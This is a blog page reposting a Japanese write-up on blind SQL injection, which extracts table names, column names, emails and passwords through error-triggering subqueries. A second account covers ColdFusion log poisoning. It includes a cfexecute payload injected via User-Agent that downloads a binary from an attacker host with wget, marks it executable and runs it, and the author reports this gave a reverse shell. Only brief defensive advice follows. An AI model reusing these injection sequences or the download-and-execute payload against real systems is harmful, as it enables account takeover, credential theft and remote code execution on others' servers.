jsp注射(待翻译)

【异常】Coze/扣子 Workflow 调用报 4200 错误深度解析 Coze API 的。 阅读详情
// SQL injectionの小技
-----------------------------------------------------------------------------
SQL injectionがあるのは判断できるけどエラーがハンドリングされてて
エラーメッセージとかから情報がひっぱれず、どうやってもUNIONで
別のSELECTが繋げられないとか、繋げられてもSELECTの直接の結果自体は
画面に表示されない場合なんぞに。

// 考え方
演算子「=」等の単一行条件で項目の値を比較する際に、一方が副問合せである場合、
その副問合わせは2つ以上の行を返してはならない。

例えば、

WHERE ~ AAA = ユーザ入力
であった場合、

WHERE ~ AAA = (2つ以上の結果を返すサブSELECT)

を書くとエラーになる。
Oracleなら、ORA-01427(うろおぼえですが。わら)
ここで、

WHERE ~ AAA = (SELECT max(0) FROM TABLE1 UNION ALL SELECT 0 FROM TABLE2 WHERE 条件式)

の様なサブSELECTを書くと、条件式にヒットする項目があった場合エラーとなり
なければ正常終了する。

// LIKE句は便利ですな
入力項目「q」にSQL injection問題があるwebアプリhoge.jspを想定する。

~ WHERE (~ AAA = 'qへの入力値' ~)
AAAは文字列型

各種項目の値の確定にはLIKE句のあいまい検索機能を利用する。
「%」でざっくり調べたり「_」で文字数を確定したり特定の位置の文字を確定したり。

とりあえずユーザ情報を狙いたいので「USER」とかにあたりをつけてから始める。

// テーブル名検索
http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25'))--
--> エラー : xxxxUSERxxxx(xxxxは任意の文字列)と言うテーブルが存在する

http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25'))--
--> エラー : USERxxxx(xxxxは任意の文字列)と言うテーブルが存在する

http://www.somecompany.co.jp/hoge.jsp?q=&#...;USER_'))--
--> 正常 : USERx(xは任意の文字)と言うテーブルは存在しない

http://www.somecompany.co.jp/hoge.jsp?q=&#...USER__'))--
--> 正常 : USERxx(xは任意の文字)と言うテーブルは存在しない

http://www.somecompany.co.jp/hoge.jsp?q=&#...SER___'))--
--> 正常 : USERxxx(xは任意の文字)と言うテーブルは存在しない

http://www.somecompany.co.jp/hoge.jsp?q=&#...ER____'))--
--> エラー : USERxxxx(xは任意の文字)と言うテーブルが存在する : 文字数確定

http://www.somecompany.co.jp/hoge.jsp?q=&#...ERA___'))--
--> 正常 : USERAxxx(xは任意の文字)と言うテーブルは存在しない

http://www.somecompany.co.jp/hoge.jsp?q=&#...ERB___'))--
--> 正常 : USERBxxx(xは任意の文字)と言うテーブルは存在しない

...

http://www.somecompany.co.jp/hoge.jsp?q=&#...ERI___'))--
--> エラー : USERIxxx(xは任意の文字)と言うテーブルが存在する

...

http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO'))--
--> エラー : USERINFOと言うテーブルが存在する
当然↓も、
http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO'))--
エラーになる

ここでは単純にLIKE句で探していったけど、対象文字列を一文字ずつsubstr()かなんかで
切り出して、それぞれの値はバイナリサーチで確定するのも多分有効だと思う。

次にテーブル内のカラム名を調べる。
上と同じく、NAMEとかIDとかPASSとかMAILとかにあたりをつけて

// カラム名検索
http://www.somecompany.co.jp/hoge.jsp?q=&#...AME%25'))--
--> エラー : テーブル「USERINFO」にはxxxxNAMExxxx(xxxxは任意の文字列)と言うカラムが存在する

以下手順はまったく同じ。

最終的に↓みたいなのが作成できる。
--------------------
USERINFO
EMAIL
PASSWORD
NAME
ADDR
TEL
SEX
...
--------------------

ここで、何らかの認証機能がメールアドレスとパスワードで認証しているとすると、
メールアドレスとパスワードをひっぱれば成りすませるかもー

と言うわけで、とりあえず誰かのメールアドレスを確定する。

// メールアドレス検索
http://www.somecompany.co.jp/hoge.jsp?q=&#....ne.jp'))--
--> エラー : xxxx@fugafuga.ne.jp(xxxxは任意の文字列)と言うメールアドレスを持つユーザが存在する

以下同文。

成りすましたいユーザが居てメールアドレスがわかってる場合なんかはこのステップは飛ばしてもOK。
(もちろんそのメールアドレスが登録されているかの確認は必要)

最後にパスワード。

// パスワード検索
http://www.somecompany.co.jp/hoge.jsp?q=&#...'_'))--
--> 正常 : パスワードは1文字じゃなかった

http://www.somecompany.co.jp/hoge.jsp?q=&#...#39;__'))--
--> 正常 : パスワードは2文字じゃなかった

...

http://www.somecompany.co.jp/hoge.jsp?q=&#...______'))--
--> エラー : パスワードは8文字

http://www.somecompany.co.jp/hoge.jsp?q=&#...______'))--
--> 正常 : パスワードは8文字、Aでは始まらない

...

http://www.somecompany.co.jp/hoge.jsp?q=&#...______'))--
--> エラー : パスワードは8文字、Pで始まる

以下同文。

なお、メールアドレスとパスワードの検索順番は逆にして、
しょぼいパスワードを設定してるユーザのメールアドレスは・・・、
みたいに探していってもOK。
別にルールはありません。

リアル攻撃者の方の場合は、上記のような手順を手動でやるのはめんどくさいと思うんで
自動化したツールを作って回すのが結果的に時間の短縮になって嬉しいでしょう。わら

なお上記の例は上にも書いたように、

~ WHERE ~ AAA = 'ユーザ入力' ~
AAAは文字列型

みたいなのを想定していましたが、

~ WHERE ~ BBB = ユーザ入力 ~
BBBは数値型

みたいな場合は、いきなり()で囲ってサブSELECT書いてもOK。

基本的に、この方式はチェック機能が()内で完結しているので、
特に、ユーザ入力が入る位置がゴリゴリにネストしたサブSELECTのWHERE句だったりして
元のSELECT文がどんな形かはっきり判らない場合なんかに便利。
また、ユーザ入力がテーブル名やSELECTするカラム名として使われてる場合なんかにも
使えなくも無いんではないかと思います。やったこと無いけど。わら
#これは使用しているDBがインラインビューやスカラー副問い合わせをサポートしてて、
#エラーにならなかった場合に返す値を考えなきゃダメですが

また、上のはDBがOracleの場合を想定していますがテーブルやカラム情報をSELECTで
ひっぱれるなら何でも同じです。
逆に、それらへのアクセス権が適切に設定されているならこの手法は使えません。
なので、アプリにSQL injection組み込んじゃったときのフェイルセーフとして
設定しておくのをお勧めします。
ただし、テーブル名やカラム名が判っている場合には個々のカラムの値を確定
(上の例で言うとメールアドレス検索以降)するのは防げません。
そういう場合へのフェイルセーフとして、DBの中身を暗号化とか一方向ハッシュ化
するのもお勧めです。
もちろん、これらはあくまでもフェイルセーフであって、
アプリ側でのサニタイズが基本ですヽ(´ー`)ノ
-----------------------------------------------------------------------------


// 上のとはあんまり関係ないけどちょっと面白かった実例
-----------------------------------------------------------------------------
webアプリhoge.cfmではColdFusionのcfincludeタグの入力がDBからの出力の様でした。
また、入力項目idにはSQL injection問題が存在していました。
あれこれごちゃごちゃやった結果、

http://www.somecompany.co.jp/hoge.cfm?id=hoge

と入れると、

SELECT 何か,ファイル名,何か,何か,何か FROM SOMETABLE WHERE ID='hoge'

みたいな感じのSQLが組み立てられていると推測できました。
なので例えば、

// /etc/passwdを読む
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--

みたいな事が可能でした。
ここで、cfincludeタグは読み込んだファイルをColdFusionのアプリとしてパース/実行するのに注目し、

まず、httpd.confを読んで、

http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--

httpd.confの内容を確認し、
---------------------------------------------------------------
--- snip ---
LogFormat "%h %l %u %t /"%r/" %>s %b /"%i/" /"%i/"" combined
--- snip ---
<VirtualHost XXX.XXX.XXX.XXX>
ServerName somecompany.co.jp
ServerAdmin admin@somecompany.co.jp
DocumentRoot /usr/local/apache/htdocs/hogehoge
ErrorLog logs/hogehoge_error_log
CustomLog logs/hogehoge_access_log combined
</VirtualHost>
--- snip ---
---------------------------------------------------------------

ColdFusionコマンド実行タグを作成し、
(http://attacker.mydomain.co.jp:25/fuga1をダウンロードして実行するもの。
webでColdFusionのマニュアル斜め読みして作成)
---------------------------------------------------------------
<cfset myArray=ArrayNew(1)>
<cfset myArray[1]='-O'>
<cfset myArray[2]='/tmp/fuga1'>
<cfset myArray[3]='http://attacker.mydomain.co.jp:25/fuga1'>
<cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute>
<cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute>
<cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute>
---------------------------------------------------------------

ログ残しのためにアクセスして、
---------------------------------------------------------------
GET / HTTP/1.0
Host: somecompany.co.jp
User-Agent: <cfset myArray=ArrayNew(1)><cfset myArray[1]='-O'><cfset myArray[2]='/tmp/fuga1'><cfset myArray[3]='http://attacker.mydomain.co.jp:25/fuga1'><cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute><cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute><cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute>

---------------------------------------------------------------

そのアクセスログを読み込ませるとさっき書いたタグが動作します。
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--

実行結果は以下で取得できます。
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--

実際には、APPサーバとの親子関係を切ってから攻撃元サーバの25に
リバースコネクト形式で繋いでシェルを動かすプログラムを作ってfuga1として
送り込んだらインタラクティブなシェル環境を確保できました。
この例はたまたまColdFusionでしたが、状況が同じならPHPとかJSPでも
同じような事が可能だと思います。

ログは書いてるモノだけど書き込まれてるモノでもありますよ、と言うお話でしたヽ(&acute;ー`)ノ
-----------------------------------------------------------------------------

おわりヽ(&acute;ー`)ノ
华为OD机试 - 机器人活动区域(Java 双机位C卷 200分) 现有一个机器人,可放置于 M × N的网格中任意位置,每个网格包含一个非负整数编号。之后M行表示网格数值,每行N个数值(数值大小用k表示),数值间用单个空格分隔,行首行尾无多余空格。说明:图中绿色区域,相邻网格差值绝对值都小于等于1,且为最大区域,对应网格点数目为6。M、N、k均为整数,且1 阅读详情

相关推荐

RiscV运行zephyr和Linux的方法

riscv基金会搞了一个网站,用于介绍如何使用riscv指令集进行开发。 对于运行zephyr和linux以及Qemu有非常大的帮助。 可以作为riscv开发的相关参考。 RISC-V - Getting Started Guide — RISC-V - Getting Started Guidehttps://risc-v-getting-started-guide.readthedocs.io/en/latest/index.html RISC-V - Getting Started Gu.

闲人的专栏 737

SQL注射资料(翻译)

SQL注射资料 译文作者:871535144 翻译作者:CLAx 1. 介绍 2. 漏洞测试 3. 收集信息 4. 数据类型 5. 获取密码 6. 创建数据库帐号 7. MYSQL操作系统交互作用 8. 服务器名字与配置 9. 从注册表中获取VNC密码 10.逃避标识部分信号 11.用Char()进行MYSQL输入确认欺骗 12.用注释逃避标识部分信号 13.没有引号的字符串 1...

Coisini的博客 368

华为2022硬件逻辑笔试题

单选题(每题两分) 1.以下关于过程赋值的描述,不正确的是() A在非阻塞性过程赋值中,使用赋值符号“< =” B赋值操作符是“=”的过程赋值是阻塞性过程赋值 C在非阻塞性过程赋值中,对目标的赋值是非阻塞的(因为时延),但可预定在将来某个时间步发生(根据时延:如果是0时延,那么在当前时间步结束) D非阻塞性过程赋值在其后所有语句执行前执行 解:D 2.芯片的功耗和下列哪种不强相关_____________。 A资源利用率 B核电压 C组合逻辑级数 D翻转率 解:A 3.下列说

weixin_44072819的博客 1万+

jsp注射

jsp注射(待翻译) // SQL injectionの小技 ----------------------------------------------------------------------------- SQL injectionがあるのは判断できるけどエラーがハンドリングされてて エラーメッセージとかから情報がひっぱれず、どうやってもUNIONで 別のSELECTが繋げられないとか

842

CLion与STM32CubeMX联调:JLink GDB Server高效调试指南

本文详细介绍了如何搭建并配置CLion、STM32CubeMX与JLink GDB Server联调的现代化STM32开发环境。通过一站式环境搭建、工程创建、核心调试配置及高级技巧(如RTT日志),该组合实现了高效的代码编辑、可视化配置与稳定调试,大幅提升嵌入式开发效率与体验。

web99的专栏 258

从零开始理解二极管限幅:5种典型电路设计及实际应用场景解析

本文系统解析了二极管限幅电路的五大经典拓扑,包括串联与并联型上下限幅及双向限幅。通过剖析其核心原理与二极管的单向导电性、正向压降特性,结合ADC输入保护、电源管理、音频处理等实际应用场景,提供了从器件选型到设计陷阱规避的完整实战指南,帮助工程师为信号构建可靠的“安全笼”。

2y3u4i5o6p的博客 1035

[翻译]SQL注射技术总结文档

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34259559的博客 133

2023年数学建模国赛三大赛题核心建模思路与实战代码全解

本文全面解析2023年数学建模国赛三大赛题的核心建模思路与实战代码,涵盖塔式太阳能光热发电系统优化、多波束测深系统动态规划及蔬菜商品化策略建模。通过Python代码示例和优化算法(如遗传算法、NSGA2)展示,帮助参赛者掌握数学建模的关键技术与实战技巧,提升竞赛成绩。

weixin_33713350的博客 337

SQL注射技术总结文档

最近看了不少老外写的东西,看时间相同的技术当铺比我们早了好长一段时间,比如ASP的SQL注射国外02年就出现了,PHP的也在04年出现,而我们一直到05年才接触到,看看比人家晚了多少时间呀!为了尽快了解最新的技术动态,我坚持看E文资料,有的很长,有的很短,本人时间有限,不可能一一翻译过来,只能挑选自己认为比较适合大家看的东西翻译过来,希望你能从中学到东西。====||文章开始||========||目录||=====

weixin_72426331的博客 129

【数据库】SQL Server 2008 R2 安装全流程详解与常见问题避坑指南

本文详细解析了SQL Server 2008 R2的完整安装流程与核心配置。从安装前的系统兼容性检查、.NET Framework依赖准备,到图文详解实例配置、混合身份验证模式设置等关键步骤,并提供了安装失败、服务无法启动等高频问题的排查与避坑指南,帮助用户顺利完成部署。

java5的博客 1244

C#串口通信从入门到精通(27)——高速通信下解决数据处理慢的问题(20ms以内)

本文介绍如何在高速通信情况下解决串口接收的数据来不及处理的问题,由高级工程师多年经验总结而成,绝对是串口领域的实战经验!

qq_34059233的博客 6814

SQL注射资料

作者: zeroday组织: blacksecurity.org翻译:漂浮的尘埃[S.S.T]1. 介绍2. 漏洞测试3. 收集信息4. 数据类型5. 获取密码6. 创建数据库帐号7. MYSQL操作系统交互作用8. 服务器名字与配置9. 从注册表中获取VNC密码10.逃避标识部分信号11.用Char()进行MYSQL输入确认欺骗

345

NX二次开发(Python)-UIStyler-选择体和按钮操作

用UG NX的UIStyler块界面编辑器,生成带有“选择体”和“按钮”操作的一个界面,如下图所示:

GimiGimmy 2316

华为路由器静态路由配置与数据包封装原理详解:从Ping包读懂转发过程

网络通信中,路由器是连接不同网段的核心设备,它通过路由表决定数据包的下一跳。与交换机基于MAC地址转发不同,路由器工作在网络层,处理IP报文,并负责隔离广播域。数据包在穿越路由器时,会发生二层的解封装与再封装:源MAC和目的MAC逐跳变化,而IP地址保持不变,这正是三层转发的本质。理解这一原理,才能掌握静态路由配置的精髓。华为设备上,通过ip route-static命令指定目的网段和下一跳,即可实现路径控制;默认路由0.0.0.0/0则为未知流量提供兜底出口。结合eNSP模拟器,从PC发起的Ping包出发

weixin_33816300的博客 314

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

应用安全之SQL注射技术

下面介绍一下应用安全方面东东......也是检验应用健壮性的某方面安全考虑!下面是一老外针对sql注入技术的总结,看完后相信对依赖注入会有个相对全面的认识!下面一篇英文版的技术总结!本人也比较倾向于看一些关于英文的技术文章,一方面可以锻炼自己的应用文案的阅读能力!也建议大伙看一些英文版的技术文案,当然也不能说“咱崇洋媚外”,国外的一些“大牛"总结的一些东西确实值得我们学习和分享!下面内容希望...

hjwromanticboy的博客 277

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

大学生毕业设计论文题目大全_kaic

交际翻译理论视角下英译汉翻译实践报告-以Power and Prediction: The Disruptive Economics of Artificial Intelligence(节选)为例。文本类型理论指导下信息型文本英汉翻译实践报告——以Shop Management(节选)为例。功能对等理论视角下欧·亨利小说翻译实践报告——以《第三样配料》和《心与手》为例。接受美学理论指导下儿童文学作品翻译——以《寻找鱼王》(节选)为例。基于用户行为层次的时间管理APP界面设计——以《朝暮计划》为例。

远程调试、小程序、管理系统、JAVA、C#、IDEA、VS开发工具等 952

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

王者归来-上

《Java Web整合开发:王者归来》 (JSP+Servlet+Struts+Hibernate+Spring) 第一篇 入门篇 第1章 Java Web开发概述 1、Web程序:由服务器、客户端浏览器、网络组成;ERP CRM 财务系统 网上办公 网上银行 在线业务办理 2、RCP胖客户端程序 TCP瘦客户端程序 B/S C/S 3、Web访问基本原理:打开浏览器输入URL;找

墨家剑客的专栏 769

【好文翻译】10个免费的压力测试工具(Web)

本文列举了是十个免费工具,可以用来进行Web的负载/压力测试的。这样你就可以知道你的服务器以及你的WEB应用能够扛得住多少的并发量,以及网站性能。 0.Grinder– Grinder是一个开源的JVM负载测试框架,它通过很多负载注射器来为分布式测试提供了便利。 支持用于执行测试脚本的Jython脚本引擎HTTP测试可通过HTTP代理进行管理。根据项目网站的说法,Grinder的 主要目标...

weixin_33693070的博客 114
上一篇: oracle注射总结
下一篇: 一个asp函数, 解决SQL Injection漏洞
freexploit
博客等级 码龄22年 315粉丝 778原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值